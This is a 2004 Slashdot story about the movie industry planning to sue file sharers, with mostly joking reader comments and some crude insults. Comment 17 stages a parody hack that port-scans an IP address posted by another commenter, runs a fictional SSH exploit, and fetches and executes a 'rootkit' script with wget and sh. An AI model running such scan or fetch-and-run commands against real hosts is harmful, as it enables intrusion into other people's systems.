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Movie Industry to sue File Sharers

Posted by samzenpus on from the juast-a-matter-of-time dept.

Wack Valenti writes "SiliconValley.com reports that the motion picture industry, taking a cue from the RIAA, is planning to file copyright infringement lawsuits against file sharers it says are illegally distributing movies online. The first suits could be filed as early as tomorrow."

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  1. Starting tomorrow morning? by Anonymous Coward · · Score: 2, Funny

    I look forward to the morning mail.

  2. Please by Anonymous Coward · · Score: 5, Funny

    Shhh.. don't say anything about Usenet

  3. What ?! by Anonymous Coward · · Score: 4, Funny

    NOOOO!!!! I havent finished downloading all the episodes for my "Doctor Who" collection..

  4. Re:what has the world come to by NotQuiteReal · · Score: 5, Funny
    Suing customers [...]

    Um, I think the point is that they are NOT paying customers...

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  5. Comment removed by account_deleted · · Score: 5, Funny

    Comment removed based on user account deletion

  6. Re:what has the world come to by metlin · · Score: 4, Funny

    First the RedSox, then Bush. And now this.

    So this is what the third horseman looks like ;)

    Ahoy, folks. The end is nigh.

  7. Re:Well by Anonymous Coward · · Score: 3, Funny

    It sure is going to suck when they try to take my neighbors to court. Someone doesn't know about unsecured wireless modems.

  8. Re:Yawn... by dukeisgod · · Score: 4, Funny

    The popups are right "Warning, you are broadcasting your IP address over the internet..."

  9. Movie-goers Sue Movie Industry by Anonymous Coward · · Score: 4, Funny

    For making nothing but shit, year after year.

  10. Re:Funny thing is.. by Anonymous Coward · · Score: 1, Funny

    I guess I'll find out tomorrow if he was full of crap or not, won't I?

    I guess he doesn't flush the toilet.

  11. Introducing the new superbowl ad! by Anonymous Coward · · Score: 1, Funny

    Green day song playing.....

    We have been sued by the Motion Picture Industry, and we are here to anoounce in front of ONE Hundred Million people. That we are still going to download movies off the internet.

    Introducing the iFlixs Movie Store.

    A promotion for Pepsi? .af [applefans (at) spymac(dot) com]

  12. Re:Yawn... by dtfinch · · Score: 3, Funny

    Dear MPAA, and I once downloaded Star Trek: First Contact despite already having it on tape (still have the tape, good tape), and recently downloaded Fahrenheit 9/11 because it seems the producer wanted me to. My family probably owns about 30 DVD's and 50 tapes, all purchased, but I'm sure you don't care about those little details, just like the RIAA wouldn't care about our 40 or so purchased CD's. And I've been really bad about leeching. I know I should have done my part but my upload rate is capped very low.

    Oh, I almost forgot. My local IP address is 192.168.0.100...

  13. Re:Yawn... by Gannoc · · Score: 3, Funny

    Oh, I almost forgot. My local IP address is 192.168.0.100...

    YOU MOTHER FUCKER, THAT'S MY IP ADDRESS!

    You're trying to frame me!

  14. Whew, I was worried for a minute there! by GuyMannDude · · Score: 4, Funny

    The RIAA has been doing this for so long, why is the MPAA only doing this now, I wonder?

    Hey, who cares? No self-respecting geek clutters up their hard drives with the drivel that the MPAA members produce. Now if the Porn Industry Movie Producers (PIMP) start cracking down on sharing Miko Lee and Jenna Jameson flicks, then us geeks are really going to be in trouble.

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  15. Re:Why only now? by Insipid+Trunculance · · Score: 2, Funny

    Thank you MPAA for telling me abt that fabulous site.

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  16. Re:I'ts official by Lehk228 · · Score: 3, Funny

    actually more along the lines of "I won't pay for something from someone i don't like, and instead will shop elsewhere", purchasing only independantly released DVD'd and only seeing indie films in theater

    but then again you are a fucktard who cannot comprehend the idea that not everyone is addicted to the next piece of trash from hollywood

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  17. Re:Yawn... by pyrrhonist · · Score: 5, Funny
    Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

    Dear Mr. England,

    Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:

    $ nmap -P0 -sT 199.2.120.89

    Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time
    Interesting ports on 199.2.120.89:
    PORT STATE SERVICE
    22/tcp open ssh

    Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds

    $ supersshnuke --root-shell 199.2.120.89

    Contacting 199.2.120.89... Connected!
    Detecting SSH version... Done!
    SSH on this machine is: older than dirt
    Attempting sploit... PWNED!
    Dropping you into a root shell...

    # wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh
    # sh suite-6.22.sh
    MPAA Customer Compliance Suite V6.22
    Downloading MCCS Components... 100%
    Installing MCCS... 100%
    Configuring MCCS... 100%
    Starting MCCS...
    Done!
    # tail /var/log/messages
    Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org"
    Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey"
    Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent"
    Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc"
    Nov 3 23:00:10 localhost mccs: DRM compliance scan started...
    Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4"
    Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx"
    Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4"
    Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"
    Your computer is now safe from non-compliance. Thank you for your cooperation.

    Sincerely,
    Mortimer Snerd
    MPAA Compliance Officer

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  18. Re:what has the world come to by killjoe · · Score: 4, Funny

    You know if you read revelations it says that the anti christ will be seen as a savior and that the majority of the people will follow him.

    Something to think about next time Bush talks about god.

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  19. Re:Now that we have proven... by krymsin01 · · Score: 2, Funny

    It'll be legal on my floating island, and I'll call it Piratopia. BOW DOWN!

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  20. Re:What exactly is the objection? by cheekyboy · · Score: 2, Funny

    Someone make a php script to generate *ALL* movies ever made into a fake directory listing and share that. Give it out to 1000000 people and watch them send $10000000 worth of letters

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  21. Re:Really Red by DeathPenguin · · Score: 2, Funny

    >>Why no speeches of how downloaders are taking the very food out of porn star's mouths?

    Because they have enough in their mouths as it is.

  22. Re:Not so long ago, the EFF suggested just this. by c0p0n · · Score: 5, Funny

    ... I currently use Kazaa to share out a handful of audio sermons from my church's pastor ...

    You're tricking a bit the kazaa credit system, eeh? Cool way of having a gig of mp3 available that you know nobody is gonna download.

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  23. Re:what has the world come to by lxs · · Score: 2, Funny
    For yea brothers you will know that the end times are upon us! Is it not written in the good book?

    "They sitteth in their parents basements and downloadeth torrents of Star Wars movies and the skye will weep for they are not the true gospel, nay they are the originals where Han shooteht first."


    Amen brothers!